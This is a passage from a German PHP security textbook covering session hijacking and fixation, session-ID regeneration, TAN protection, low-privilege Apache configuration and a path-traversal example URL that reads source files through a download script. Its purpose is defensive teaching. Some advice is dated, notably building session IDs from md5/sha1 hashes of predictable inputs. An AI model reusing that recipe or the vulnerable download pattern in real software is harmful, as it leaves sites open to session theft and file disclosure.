Verstecktes Formularfeld, z.B. innerhalb von HTML-Quelltext mittels
쐽
Speicherung als Cookie, Übermittlung jeweils im HTTP-Header. Dies kann besonders dann zu Problemen führen, wenn der Client ein öffentlich zugänglicher Rechner (z.B. im Internetcafé) ist, und das Cookie nicht mit dem Schließen des Browsers gelöscht wird – dann kann jeder nachfolgende Benutzer über die Cookiedatei die Session-ID in Erfahrung bringen.
All diese Methoden haben Ihre Vor- und Nachteile, doch eins ist klar: Irgendwann muss die Session-ID über das Netzwerk zum Server transportiert werden, damit dieser weiß, welche Daten er für die Webanwendung zur Verfügung stellen muss. Alles, was über das Netzwerk transferiert wird, kann im Zweifelsfall abgehört werden. Dies mag wie ein Horrorszenario klingen, jedoch wenden Hacker inzwischen eine Menge Energie auf, um an Kreditkarten und andere sensible Informationen zu gelangen, die vor allem im Rahmen von Onlinebestellungen durch die Benutzer an einen Server übermittelt werden müssen und dort innerhalb von Sessions zwischengespeichert werden. Vor allem die zunehmende Vernetzung und die Sorglosigkeit bei der Netzwerkkonfiguration sowohl in privaten Netzwerken als auch innerhalb von Rechenzentren und bei Providern sorgt dafür, dass der Erfolg solcher Abhöraktionen zunimmt. Es kommt noch eine weitere Tatsache hinzu: Verwendet der Server, auf dem ein Session-Hijacking durchgeführt werden soll, einen durchschaubaren Algorithmus zur Erzeugung der Session-IDs, so reicht es aus, wenn man sich eine gültige Session-ID besorgt, indem man sich beim Server anmeldet und dann anhand der dort erzeugten Session darauf schließen kann, welche anderen IDs ebenfalls gültig sind. So kann man auch ohne das Netzwerk abhören zu müssen, auf gültige und wahrscheinlich von anderen legitimen Benutzern verwendete Sessions gelangen.
53
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
Um all diesen Problemen zu entgegnen, sind verschiedene Maßnahmen erforderlich. An erster Stelle sollten hierbei Methoden stehen, die ein erfolgreiches SessionRiding verhindern.
Hinweis Umfangreiche Informationen über Sessions, die Gefahren, die aus der Verwendung von Sessions resultieren, und wie man diesen mit einfachen Mitteln entgegnen kann, finden Sie im Kapitel 5 Sessions.
3.2.1
Session-IDs nur durch Server vergeben
Um einfache Session-IDs zu verhindern, muss dafür gesorgt werden, dass lediglich der Server eine Session-ID vergeben kann. Wird eine Seite mit einer ID angefragt, für die es noch keine Session gibt, wird normalerweise eine Session mit dieser ID erzeugt. Dies birgt im Wesentlichen zwei Gefahren: 쐽
Ein User könnte eine simple ID angeben, die von einem Dritten leicht durch Raten ermittelt werden kann.
쐽
Einem User kann von einem Dritten ein Link inklusive einer erdachten Session-ID geschickt werden; der Benutzer klickt darauf und loggt sich mit dieser Session-ID und seinen Benutzerdaten am Server an. Die Session wird nun Zugriff für diesen Benutzer erlauben. Der Dritte kann nun ebenfalls auf diese Daten zugreifen – er muss die Session-ID nicht mehr erraten, denn er kennt sie schon.
쐽
Falls eine Suchmaschine eine Session-ID als Link verwendet, kann es sein, dass ein User unbeabsichtigt Zugriff auf eine Session eines anderen Benutzers erlangen kann, der kurz zuvor Ihre Seite besucht hat. Dies kann dazu führen, dass der »neue« User sensitive Daten einsehen kann. Das gleiche kann natürlich auch dann passieren, wenn ein Benutzer ein Bookmark auf Ihre Seite setzt und dabei eine Session-ID mitgespeichert wird; besucht er später die Seite erneut, kann es sein, dass zwischenzeitlich ein anderer Benutzer diese SessionID zugewiesen bekam.
Um diesem zu begegnen, ist es notwendig, ein bestimmtes Modell der Sessions zu verwenden. Hier kann man grundsätzlich zwischen zwei Typen unterscheiden: permissive und restriktive Sessionverwaltung. Permissiv steht in der Soziologie für wenig kontrollierend, und diese Bedeutung trifft dann auch in der Sessionverwaltung zu: Die übergebene Session-ID wird verwendet; existiert noch keine Session mit dieser Identifikation, so wird sie erzeugt. PHP verwendet genau diese Methode. Beim restriktiven Modell hingegen ist es so, dass jeweils nur vom Server erzeugte Session-IDs verwendet werden können. In Kombination mit einem sicheren Algo-
54
3.2 Sessions: Permissive Konfiguration oder »Alles ist erlaubt«
rithmus zur Erzeugung dieser ID ist es schon wesentlich unwahrscheinlicher, dass ein Hacker eine solche ID errät und so eine Session verwendet, die Daten eines anderen Benutzers enthält.
Hinweis PHP lässt übrigens nicht jede ID, die vom Benutzer übergeben wurde, als Session-ID zu. So muss diese immer mit dem Parameter, der als session.name in der php.ini spezifiziert wurde, übergeben werden (Standard: PHPSESSID). Zudem hängt die Gültigkeit einer ID auch vom Parameter session.hash_ bits_per_character ab. Hier offenbart sich allerdings auch schon ein Problem in Zusammenhang mit PHP: Es lässt sich nicht direkt feststellen, ob eine Session-ID nun vom Benutzer stammt oder von einem Skript oder von PHP selbst erzeugt wurde. Es gibt auch keine Möglichkeit, dies etwa mit dem Session-Save-Handler zu beeinflussen, denn dieser ist wirklich nur zum Speichern und Laden der Session vorgesehen; um nun allerdings nicht mit einer Session-ID in eine Falle zu laufen, müssen Maßnahmen ergriffen werden. Doch alle Methoden, die man hier verwenden kann, haben einen Nachteil: Sie führen zu Einbußen beim Benutzerkomfort.
3.2.2 Regenerierung der Session-ID bei sensitiven Aktionen Solange keine benutzerspezifischen Daten in einer Session gespeichert werden, ist es irrelevant, ob die Session-ID »sicher« ist oder nicht – denn an diese Daten kann jeder gelangen, sobald er die fragliche Website besucht. Sobald allerdings der Zugriff auf sensible Daten gewährt werden soll, etwa indem sich ein Benutzer einloggt, ist es unbedingt erforderlich, dass die Session-ID eine sichere, vom Server erzeugte ist. Die Session-ID muss dabei durch eine neue ausgetauscht werden; diese wird dabei entweder vom Skript erzeugt oder es wird eine neue ID von PHP generiert. Soll selbst eine ID erzeugt werden, so ist es auch hier erforderlich, dass der Wert, der verwendet werden soll, eine hexadezimale Zahl ist. Besonders bewährt haben sich hier Hashcodes, die etwa mit den PHP-Funktionen md5() und sha1() erzeugt werden können. Dabei sollte man allerdings darauf achten, dass die Datenbasis nicht ohne weiteres nachvollziehbar ist – Hashcodes sind zwar eine one-way-»Verschlüsselung«, doch wird z.B. lediglich die Serverzeit gehasht, so ist es nur eine Frage der Zeit, bis ein Hacker hinter diese Taktik kommt. Da die Hash-Funktionen standardisiert sind, lässt sich also so ein Code jederzeit auf einem anderen Rechner erzeugen und man kann diesen Hashcode dann als Session-ID verwenden und somit eine evtl. bestehende Session eines anderen Benutzers missbrauchen.
55
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
Die Basis für einen Hash sollte also nach Möglichkeit aus mehreren voneinander unabhängigen, sich ändernden Datenquellen bestehen. Am besten ist es dabei, aus jeder dieser Datenquellen einen Hash zu erstellen und dann aus der Aneinanderkettung dieser Codes einen erneuten Hash zu erzeugen, der schlussendlich dann als Session-ID verwendet wird. Denkbar als Datenquellen sind hierbei: 쐽
Serverzeit in Mikrosekunden; eine Angabe in Sekunden wäre zu leicht vorhersehbar
쐽
IP-Adresse des Benutzers, der die entsprechende Webseite anfragt
쐽
Freier Speicherplatz auf der Serverfestplatte (zu ermitteln mit disk_free_ space())
Nachdem ein Hash über jede dieser Datenquellen erstellt wurde, die Hashs in einem String verkettet wurden und darüber erneut ein anderer Hash erzeugt wurde, muss der Hash als neue Session-ID mit der Funktion session_id() gesetzt werden. Hierbei sollten die Funktionen md5() und sha1() zur größeren Absicherung vermischt werden. Ein Beispiel:
Die Alternative zu session_id() ist dabei die Verwendung der Funktion session_regenerate_id(); hier wird PHP eigenständig eine neue ID erzeugen und sie der existierenden Session zuweisen. Komplexere Algorithmen zur Erzeugung einer Session-ID führen allerdings auch zu mehr Sicherheit. Einen Weg für eine Vorgehensweise, bei der sowohl der Client als auch der Server ihren Beitrag dazu leisten, finden Sie ausführlich im Abschnitt 4.2.1 Hash-Austausch via AJAX auf Seite 98 beschrieben.
3.2.3 Absicherung durch TAN Alternativ bzw. zusätzlich zur Erneuerung der Session-ID kann eine Session auch noch durch die Verwendung von TANs (Transaktionsnummern) abgesichert werden.
56
3.3 Globaler Dateisystemzugriff
Hinweis Dieses Modell hat eine sehr hohe Sicherheit zur Folge – es ist allerdings sehr restriktiv und schränkt den Benutzerkomfort stark ein. Es sollte vorher klar abgewogen werden, ob man diese Einschränkungen hinnehmen möchte bzw. kann. Neben der PHP-Session wird hier jeder Link bzw. jede weitere serverseitige Verarbeitung durch eine Zufallszahl abgesichert. Dafür wird beim Anlegen einer Session – oder vielmehr zu dem Zeitpunkt, ab dem sensitive Daten zur Verfügung gestellt und bearbeitet werden – eine Liste von langen Zufallszahlen angelegt. Diese werden serverseitig der Session zugewiesen – beispielsweise in einer Datenbank oder innerhalb der Session selbst. Jedes mal, wenn nun ein Skript für diese Session aufgerufen wird, wird geprüft, ob eine solche TAN übergeben wurde und diese in der serverseitigen Liste vorhanden ist. Ist dies nicht der Fall, wird die Session zerstört bzw. der Zugriff auf die gewünschten Funktionen verweigert. War die Zufallszahl gültig, so wird sie aus der Liste gestrichen. Ein wesentlicher Nachteil hierbei ist, dass jeder Link mit dieser TAN durch eigenen Code erweitert werden muss, da sonst das gesamte Modell nicht funktioniert. Ebenso ist eine Unterstützung des »Zurück«-Buttons der Browser oder gar der JavaScript back()-Funktion nicht möglich. Mehr zu diesem Thema erfahren Sie im Abschnitt 5.4.5 TAN-System auf Seite 160.
3.3
Globaler Dateisystemzugriff
Ein gravierendes Problem in Verbindung mit PHP ist der Dateisystemzugriff. Dabei bleibt hier meist keines der für die Verwendung von PHP in Frage kommenden Betriebssysteme verschont. Sowohl Windows als auch Unix-/Linux-Derivate bieten hier Schlupflöcher für den Zugriff auf Dateien, auf die durch PHP nicht zugegriffen werden soll. Es können hier zwei Arten von nicht erwünschten Zugriffen klassifiziert werden: 1. Zugriff auf System- und Benutzerdateien Hierbei ist es PHP-Anwendungen möglich, auf Dateien des gesamten Serversystems außerhalb Ihrer Verzeichnisstruktur zuzugreifen. In solch einer Umgebung ist es einer Webanwendung beispielsweise möglich, Dateien aus dem Systemkonfigurationsverzeichnis (unter Linux /etc) auszulesen. Dies bedeutet auch, dass sensitive Daten über PHP an außenstehende Dritte übertragen werden können.
57
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
Vorsicht In der denkbar schlechtesten Konfiguration wird PHP nicht Dateien außerhalb seines gedachten Wirkungsbereiches lesen, sondern auch schreiben können. Dies kann dazu führen, dass ein Dritter z.B. die Benutzerdateien von außen verändern könnte und sich so einen legitimen Benutzerzugang zum System erstellen kann. 2. Zugriff auf Dateien anderer Webanwendungen (shared hosting) Werden mehrere Projekte und/oder Domains über einen Webserver durch das sogenannte shared hosting bereitgestellt, kann es hier natürlich auch dazu kommen, dass ein Projekt auf die Dateien eines anderen zugreifen kann. Dieses Problem ist übrigens wesentlich wahrscheinlicher als der Zugriff auf Systemdateien. Kann man letzteres noch relativ einfach dadurch unterbinden, indem man den PHP-Interpreter unter einem eigenen Benutzer-Account, der auf keine weiteren Dateien Zugriffsrechte hat, betreibt, so ist die Auftrennung in Benutzer-Accounts für die zweite Problemstellung noch nicht die Lösung, denn alle PHP-Anwendungen werden dann unter demselben Benutzer gestartet – und somit hat jede Anwendung auch Zugriff auf andere Dateien. Doch auch hier muss Abhilfe geschaffen werden; selbst wenn Sie allen Ihren Benutzern blind vertrauen können und davon ausgehen dürfen, dass diese sich nicht um die Daten – mögen Sie auch noch so interessant sein – der Anderen kümmern werden, so bedeutet dies auch: Hat einer dieser Anwender schlecht programmierte PHP-Skripte im Einsatz, die durch Dritte manipuliert werden können, bedeutet das ein Sicherheitsrisiko für die Daten aller Benutzer. Beide Probleme sind mehr oder weniger einfach über eine sorgfältige Konfiguration oder den Einsatz von Wrappern in den Griff zu bekommen. Die Lösung ist hierbei auch mehrstufig zu sehen: Zuerst sollte die Konfiguration des Webservers so angepasst werden, dass eine hohe Sicherheit bereits durch die Umgebung gewährleistet ist; diese Sicherheit wird später durch Einstellungen der php.ini lediglich verbessert. Benutzerrechte
Die Änderung der grundsätzlichen Sicherheitskonfiguration bzw. dessen Benutzerberechtigung hängt stark davon ab, welches Betriebssystem auf dem Server eingesetzt wird. Ausschlaggebend hierbei ist jedoch, dass sowohl der Webserver als auch der PHPInterpreter unter einem eigenständigen Benutzer-Account betrieben werden. Dieser Benutzer sollte sehr eingeschränkte Zugriffsrechte besitzen, um im Falle eines Falles den Schaden durch einen Dritten so gut wie möglich zu begrenzen.
58
3.3 Globaler Dateisystemzugriff
Soweit möglich sollten für Webserver und PHP auch getrennte Benutzer verwendet werden. Linux/Unix Beim Apache-Webserver werden der Benutzer und die Gruppe, unterhalb dessen die Serverprozesse ausgeführt werden sollen, in der Konfigurationsdatei httpd.conf festgelegt.
Hinweis Diese Anweisungen können natürlich auch innerhalb einer in die Hauptkonfigurationsdatei inkludierten Datei stehen. Zur Festlegung eines Benutzers, unter dem der Webserver die Anfragen von Clients beantworten soll, wird die Direktive User verwendet. Sie wird entweder vom Benutzernamen oder einem Rautezeichen und der Benutzernummer gefolgt. Der Benutzer sollte auf dem gesamten System keinesfalls Berechtigungen auf Dateien besitzen, deren Inhalte nicht für die »Außenwelt« bestimmt sind.
Wichtig Verwenden Sie unbedingt einen eigenständigen Benutzer, der lediglich Leserechte (und falls notwendig: Schreibrechte) auf Dateien und Verzeichnisse besitzt, die er zur Bereitstellung von Webseiten und -anwendungen benötigt. Die Apache- und PHP-Konfigurationsdateien müssen nicht durch diesen Benutzer gelesen werden können! Ist es wirklich notwendig, bestimmte Dateien sowohl für den Webserver als auch für »interne« Zwecke bereitzustellen, so sollte dieser Zugriff nicht über die Benutzerberechtigung, sondern über die Gruppenrechte abgewickelt werden. Um die Benutzergruppe festzulegen, die der Apache-Webserver nutzen soll, kann die Direktive Group verwendet werden (ebenfalls gefolgt vom Gruppennamen oder der Raute mit anschließender Nummer). Auf vielen Systemen gibt es den sehr niedrig privilegierten Benutzer nobody und seine zugehörige Gruppe nogroup, diese eignen sich geradezu für die Verwendung durch den Apache-Webserver: User nobody Group nogroup
Listing 3.1:
Konfigurationsausschnitt aus der httpd.conf
59
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
Hinweis Auf einigen Systemen existiert für diesen Zweck auch der Benutzer wwwuser mit der Gruppe wwwgroup, auf anderen wiederum tragen sowohl Benutzer als auch Gruppe den Namen www; wenn Sie sich nicht sicher sind, welchen Aufgaben ein solcher Benutzer bereits zugeordnet ist, sollte ein neuer Benutzer angelegt werden. So wird vermieden, dass der Webserver auf Dateien Zugriff erhalten kann, die dafür nicht gedacht sind. Dieser eingeschränkte Benutzer sollte dann auch nur Verzeichnisse einsehen können, die für den Betrieb unbedingt notwendig sind (etwa das temporäre Verzeichnis /tmp für die Ablage von temporären Dateien, etwa PHP-Uploads und natürlich die Verzeichnisse, in denen die bereitzustellenden Webseiten und Skripte abgelegt sind). Auf Schreibrechte sollte für diesen Benutzer weitestgehend verzichtet werden (wenn diese unumgänglich sind, etwa weil eine Upload-Funktion bereitgestellt werden soll, dann sollte der Schreibzugriff auf einzelne Unterverzeichnisse beschränkt werden). Nun kann man leicht auf den Gedanken kommen, den Apache-Webserver unter dem Superuser root zu betreiben – denn immerhin wird er auch von diesem Benutzer gestartet (was notwendig ist, da sonst der privilegierte TCP-Port 80 nicht durch den Serverdienst verwendet werden könnte). Doch dies birgt unkalkulierbare Sicherheitsrisiken: Der Webserver wird unmittelbar nach dem Startvorgang (eigentlich schon während des Starts) die »neue« Identität mittels setuid und setgid annehmen, die mit User und Group definiert wurde. Dies ist innerhalb des Betriebssystems ein geschlossener Vorgang – danach besitzt der Prozess keine Superuser-Rechte mehr. Schafft es also ein Dritter, den Webserver zu kompromittieren (etwa durch einen Buffer Overflow) kann er alle Aktionen nur mit den Rechten ausführen, die der angegebene Benutzer besitzt. Wird der Webserver jedoch weiter aktiv unter dem Superuser betrieben, hat ein solcher Angreifer natürlich freie Hand und könnte beispielsweise die Benutzerdatenbank des Systems verändern – und Sie somit aussperren. Wie gefährlich der Betrieb unter dem Superuser ist, bringt auch bereits der ApacheWebserver zum Ausdruck. Um die Verwendung des Superusers überhaupt erst zu ermöglichen, muss die Umgebungsvariable CFLAGS bereits zur Kompilierung des Apache-Webservers um die Option –DBIG_SECURITY_HOLE erweitert werden – die Bezeichnung BIG_SECURITY_HOLE sagt bereits deutlich aus, warum der Benutzer root keinesfalls als Laufzeitbenutzer des Apache-Systems verwendet werden soll. Windows Im Gegensatz zu Linux stehen User und Group als Direktiven für die Apache-Konfiguration hier nicht zur Verfügung.
60
3.3 Globaler Dateisystemzugriff
Es gibt nun mehrere Möglichkeiten, den Apache-Webserver dennoch unter einem bestimmten Benutzer zu starten. Alle haben eines gemein: Der entsprechende Prozess muss wirklich unter dem gewünschten Benutzer gestartet werden; es ist nicht wie unter Linux/Unix möglich, die Konfiguration einzulesen und danach den Prozess zu einem weniger privilegierten Benutzer wechseln zu lassen. Dies will heißen: Unter Windows müssen die Konfiguration und zusätzlich benötigte Dateien – wie etwa DLLs – durch den verwendeten Benutzer lesbar sein. Dies sollte allerdings keinesfalls ein Administrator oder Hauptbenutzer sein. Der Benutzer, unter dem der Webserver betrieben werden soll, sollte also nicht in folgenden Benutzergruppen Mitglied sein: 쐽
Administratoren
쐽
Benutzer
쐽
Hauptbenutzer
쐽
Debugger-Benutzer (steht nur auf Entwicklungssystemen zur Verfügung)
Die Apache-Installation für diesen Benutzer sollte zudem nicht allgemein zugänglich sein, empfiehlt es sich, den Webserver unterhalb des Benutzerprofils (unterhalb des »Dokumente und Einstellungen«-Verzeichnisses zu finden) zu installieren, das Installationsverzeichnis sollte also etwa C:\Dokumente und Einstellungen\ApacheBenutzer\Apache sein. Nach der Installation sollte zudem sichergestellt werden, dass nur dieser Benutzer Zugriff auf dieses Verzeichnis hat, die tatsächlichen Webseiten und Skripte lassen sich in einem anderen Verzeichnis ablegen, die dann auch von den Benutzern geschrieben werden können, die Änderungen an diesen Dateien vornehmen sollen (dies lässt sich mittels DocumentRoot innerhalb der httpd.conf leicht beeinflussen). Um den Apache-Webserver unter einem bestimmten Benutzer zu starten, gibt es drei Möglichkeiten: 1. Login und manueller Start Unter Windows werden – wie bei anderen Betriebssystemen auch – Programme immer mit den Rechten des aktuellen Benutzers gestartet. Für den Start eines Webservers bedeutet dies allerdings auch: Man muss sich stets unter diesem Benutzer erst einloggen, ein sofortiger Start des Webservers nach dem Systemstart ist somit nicht möglich. Alternativ wäre es natürlich denkbar, dass man die Auto-Login-Funktion von Windows benutzt. Hierbei wird nach dem Laden des Betriebssystems automatisch ein bestimmter Benutzer eingeloggt. In dessen Autostart könnte dann der Webserver aufgerufen werden – dieser wird dann mit den Rechten des Benutzers ausgeführt. Dieser Mechanismus macht allerdings einige andere Bestre-
61
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
bungen zunichte, denn das Passwort dieses Benutzers steht im Klartext in der Registry.
Vorsicht Diese Vorgehensweise ist zwar bequem aber keinesfalls zu empfehlen. Wer immer sich vor den betroffenen Rechner setzt, kann mit den Rechten des eingeloggten Benutzers arbeiten. Zudem kann über die Registry das Passwort im Klartext eingesehen werden (dazu muss man sich nicht zwingend vor dem betroffenen System befinden – die Registry kann auch von entfernten Rechnern aus inspiziert werden), zudem ist es auch mit PHP möglich, die Registry »unter die Lupe zu nehmen«. 2. Aufruf von runas Mit Windows 2000 kam das Tool runas auf die Windows-PCs. Alternativ zu diesem Programm wurde der Menüpunkt AUSFÜHREN ALS in das Kontextmenü von ausführbaren Programmdateien eingeführt. Damit ist es möglich, ein Programm mit anderen Benutzerrechten zu starten – unabhängig vom aktuell angemeldeten Benutzer. Dies kann durchaus sinnvoll sein, wenn von einem zentralen Benutzer aus verschiedene Dienstprogramme gestartet werden sollen. Allerdings ist auch hier erst ein Login (egal ob manuell oder automatisch) notwendig.
Vorsicht Diese Möglichkeit sollte nicht verwendet werden, aus Sicherheitsgründen kann nicht ausgeschlossen werden, dass ein per runas gestartetes Programm die Rechte des eigentlich eingeloggten Benutzers erhält (ein interessanter Artikel dazu findet sich beispielsweise unter http://www.haxorcitos.com/ MSRC-6005bgs-EN.txt). 3. Installation als Systemdienst Diese Methode ist im Vergleich die effizienteste und sicherste. Der ApacheWebserver lässt sich mit dem Aufrufparameter –k install als Systemdienst installieren. Dieser kann dann – je nach Einstellung – entweder manuell oder bereits beim Systemstart vor einem Benutzer-Login gestartet werden. In diesem Fall ist es also nicht notwendig, dass sich ein Benutzer anmeldet. Weiterhin kann ein Service eine vollkommen autarke Berechtigung erhalten. Entweder wird der Dienst mit dem »lokalen Systemkonto« oder mit einem spezifischen Benutzer gestartet. Wie jeder Dienst wird der Apache-Webserver zu Beginn auch unter dem lokalen Systemkonto betrieben, dem umfangreiche Zugriffsrechte gewährt werden.
62
3.3 Globaler Dateisystemzugriff
Dies widerspricht natürlich jeder erdenklichen Sicherheitspolitik. Nicht nur, dass dieser Prozess dann Systemdateien manipulieren kann, vielmehr ist es auch anderen Prozessen, die unterhalb dieses Systemkontos betrieben werden, möglich, Dateien des Apache-Webservers einzusehen oder gar zu verändern. Es sollte also unbedingt ein eigener Benutzer für den Betrieb des Apache-Webserver-Dienstes angelegt werden, dieser sollte lediglich niedrige Rechte erhalten, also etwa der Benutzergruppe »eingeschränkte Benutzer« oder gar »Gäste« zugeordnet werden. Zudem sollte diesem Benutzer ein sehr komplexes und sehr langes Kennwort zugeordnet werden (dieses muss lediglich einmalig bei der Dienstkonfiguration angegeben werden, der Apache-Webserver selbst muss es nicht wissen), dem Benutzer sollte außerdem die Möglichkeit genommen werden, das Kennwort selbst zu ändern. Dieses Benutzerkonto sollte dem Dienst dann als aktives Konto übergeben werden. Die gesamte Konfiguration erfolgt daraufhin nach der Installation des Dienstes etwa so: 1. Start der »Computerverwaltung« über SYSTEMSTEUERUNG | VERWALTUNG | COMPUTERVERWALTUNG 2. Wechsel zu LOKALE BENUTZER UND GRUPPEN, Anlage eines neuen Benutzers mit den Eckdaten: 쐽
Komplexes Kennwort, das sowohl Buchstaben als auch Ziffern und Sonderzeichen enthält, die Mindestlänge sollte 12 Zeichen sein
쐽
Deaktivierung der Optionen BENUTZER MUSS KENNWORT BEI DER NÄCHSTEN ANMELDUNG ÄNDERN und BENUTZER KANN KENNWORT ÄNDERN
3. Dem Benutzer sollte lediglich die Mitgliedschaft in der Gruppe »Gäste« zugeordnet werden 4. Unterhalb von DIENSTE UND ANWENDUNGEN, DIENSTE sollte der Dienst »Apache2.2« (je nach Version variierend) editiert werden 5. Unter der Karte ANMELDEN sollte DIESES KONTO: aktiviert und der neu angelegte Benutzer eingetragen werden
Hinweis Allerdings steht diese Methode nicht unter Windows 95, 98 und ME zur Verfügung. Um die Sicherheit weiter zu erhöhen, könnte der Dienst in seiner allgemeinen Konfiguration auf den Starttyp MANUELL gestellt werden, somit würde er beim Systemstart nicht automatisch gestartet und es wäre erforderlich, dass ein Administrator sich am System anmeldet und den Dienst von Hand über die Dienstverwaltung startet.
63
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
Rechte der Webanwendungen
In einer Shared-Hosting-Umgebung kann bereits auch ein weiteres Problem entschärft werden, wenn VirtualHost-Blöcke zur Konfiguration der einzelnen (Sub-) Domains verwendet werden. Hier lässt sich bereits verhindern, dass von einer Domain auf Dateien einer anderen zugegriffen werden kann, indem für jeden VirtualHost-Block ein eigener Benutzer verwendet wird. Die Einstellung der Direktive User dient dann nur noch als Fallback-Lösung, kommt also nur noch zum Einsatz, wenn der spezifische Benutzer nicht verwendet werden kann. Eines jedoch vorweg: Diese Lösung basiert auf suExec. Dies ist ein Wrapper, bei dem vor dem Start einer CGI-Anwendung ein zum Webserver-Prozess alternativer Benutzer und ebenso eine alternative Gruppe gesetzt werden können. Mit diesen Berechtigungen wird das CGI-Programm anschließend gestartet, während der Webserver weiter unter seinen bisherigen Benutzerrechten betrieben wird.
Vorsicht Die Nutzung von suExec selbst sollte abgewogen werden, da es zwar Sicherheit vermittelt, jedoch auch »gern« von Angreifern genutzt wird, um den Webserver zu kompromittieren. Einen detaillierteren Einstieg in suExec erhalten Sie im Abschnitt 14.4 suExec auf Seite 406! Der Betrieb als CGI-Modul kann für PHP jedoch starke Verluste bei der Ausführungsgeschwindigkeit von Skripten nach sich ziehen, es sollte also nicht einfach pauschal auf suExec und CGI umgestellt werden; die Performance unter CGI sollte zuvor mit jeder in Frage kommenden Webanwendung getestet und bewertet werden. Um Benutzer und Gruppe für suExec zu setzen, kann innerhalb eines VirtualHost-Blockes die Direktive suExecUserGroup <user> verwendet werden. Es ist allerdings vorher die Konfiguration von suExec notwendig. Es gibt jedoch auch eine Alternative zum suExec-Wrapper. Dabei werden alle PHPAnwendungen zwar durch den gleichen Benutzer gestartet, der Zugriff der einzelnen PHP-Skripte wird jedoch auf ein bestimmtes Verzeichnis und seine Unterverzeichnisse beschränkt. Die open_basedir-Direktive wird hierbei in jedem VirtualHost-Block spezifisch vergeben. Ein Zugriff auf Dateien außerhalb des angegebenen Verzeichnisbaums ist den PHP-Skripten dann nicht mehr möglich. Allerdings kommt es dann auch zu Einschränkungen beim Entwicklungskomfort solcher PHP-Anwendungen. Ein über mehrere VirtualHost-Blöcke gemeinsam genutztes Verzeichnis mit allgemein gültigen include()-Dateien ist dann nicht mehr möglich; ebenso Probleme bereiten können verlinkte Dateien.
64
3.4 Auslieferung von Dateien
3.4
Auslieferung von Dateien
Der Dateizugriff kann auch noch in ganz anderer Art und Weise sehr gefährlich sein, und zwar immer dann, sobald Dateinamen und -pfade für Operationen aus externen Parametern direkt und ungeprüft verwendet werden. Nicht nur der Zugriff auf Dateien anderer Serverbenutzer und Systemdateien durch ein PHP-Skript (siehe Abschnitt 3.3 Globaler Dateisystemzugriff auf Seite 57) stellt eine Gefahr dar, sondern auch die ungeprüfte Verwendung von Parametern als Dateipfade ist nicht ungefährlich. Im Abschnitt 3.5 Include-Dateien auf Seite 67 wird ausführlich beschrieben, inwiefern dies Auswirkungen haben kann, sofern Dateien aus solchen Parametern heraus ungeprüft per include() oder require() in den aktuellen Code eingebettet werden. In diesen Fällen ist es für den Angreifer sehr leicht möglich, eigenen Code einzuschleusen und auszuführen. Doch manchmal ist dies gar nicht notwendig. Wenn sich der Angreifer vom Skript des Webservers die Quelldateien im Originaltext besorgen kann und er nur bestimmte Metadaten in Erfahrung bringen muss, ist es nicht unbedingt notwendig, dass er erst aufwändig selbst PHP-Code entwickelt, der dann ausgeführt wird und die benötigten Informationen liefert. Dieses Problem der ungewollten Quellcode-Weitergabe besteht zwar bereits bei ungeparsten Dateierweiterungen (vgl. Abschnitt 3.5.1 Ungeparste Dateiendung auf Seite 67) doch bei sehr »freizügig« entwickelten Skripten ist es leicht möglich, eine sehr restriktive Konfiguration zu umgehen, bei der etwa die Auslieferung auf bestimmte Dateisuffixe bereits durch den Webserver begrenzt wird (siehe auch Abschnitt 3.1.1 Backup-Dateien, Versionsverwaltung und Zugriffsschutz auf Seite 44). Besonders gefährlich sind dabei vor allem Skripte, die dem Programmierer und dem Webmaster Arbeit abnehmen und dem Benutzer übermäßigen Komfort bieten sollen. Dies betrifft vor allem Skripte, bei denen Daten auf Anforderung an den Benutzer ausgeliefert werden, etwa ein Download-Skript:
Dies ist noch eine relativ einfache Variante eines solchen Skriptes, auch komplexere Abwandlungen sind denkbar (etwa wenn vor der Ausgabe der Datei noch ein Content-type:-Header übermittelt würde). Doch hier geht es um ein Kernproblem. Ein solches Skript wird normalerweise mit einem anderen Skript in Kombina-
65
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
tion verwendet: Der Benutzer bekommt eine Liste von vorhandenen Dateien für den Download zur Auswahl angezeigt, klickt er auf einen solchen Link, so wird etwa ein Link http://testserver/download.php?file=test.txt aufgerufen. Das oben beschriebene Skript wird nun die Datei, die über den file-Parameter spezifiziert wurde, an den Benutzer übertragen. Die Grundidee ist gut, die Umsetzung jedoch denkbar schlecht. Der Dateipfad wird durch das Skript nicht geprüft, ein Angreifer kann nun also jeden erdenklichen Pfad angeben und erhält diese Datei. Wurde nun open_basedir spezifiziert, kann er selbst bei ungünstiger Rechtevergabe nicht auf Systemdateien zugreifen und diese auslesen. Jedoch kann er auch die Dateien auslesen, die durch den PHP-Interpreter geparst werden – und von denen er normalerweise den Quelltext nicht einsehen kann. Ein Link http://testserver/download.php?file=index.php führt also zur Ausgabe der index.php im Quelltext. Die index.php ist meist ein guter Einstieg, da sie auf vielen Webservern die Standarddatei des Verzeichnisses ist – über den Quelltext lassen sich dann sehr leicht inkludierte Dateien ermitteln, die Wahrscheinlichkeit, dass in einer solchen Datei Meta-Daten gespeichert sind (etwa Datenbankpasswörter), die für einen Angreifer sehr interessant sein könnten, ist sehr groß. Für dieses Dilemma gibt es an und für sich zwei wesentliche Lösungsmöglichkeiten: 1. Der übergebene Pfad wird geprüft und alle zum Download zugelassenen Dateien werden ausschließlich in einem Verzeichnis abgelegt. Dieses Verzeichnis wird als Präfix für die Dateipfade verwendet. Diese Parameterangaben müssen vorher überprüft werden, es darf darin dann natürlich kein Slash enthalten sein, da über diesen Weg ein Angreifer möglicherweise in ein anderes Verzeichnis übergehen könnte. 2. Es werden keine Dateinamen direkt übergeben, es wird vielmehr mit Referenzen gearbeitet – der Benutzer übergibt also im Link keinen direkten Pfad. Die Links, die der Benutzer übermittelt bekommt, werden nicht mit Dateinamen sondern etwa mit IDs versehen. Diese IDs werden vom Server fest für die jeweilige Datei vergeben und beim Aufruf des Download-Skriptes werden die IDs dann wieder in den tatsächlichen Dateinamen »umgewandelt«.
Hinweis Diese Problematik ist natürlich nicht nur auf die Funktion readfile() beschränkt, sondern sollte überall dort bedacht werden, wo der Benutzer direkten Einfluss auf eine zu öffnende Datei hat. Wesentlich schlimmer ist es noch, wenn in eine solche Datei geschrieben werden soll: Ein Angreifer könnte somit Quelldateien der Website überschreiben und somit die Website »außer Gefecht setzen«!
66
3.5 Include-Dateien
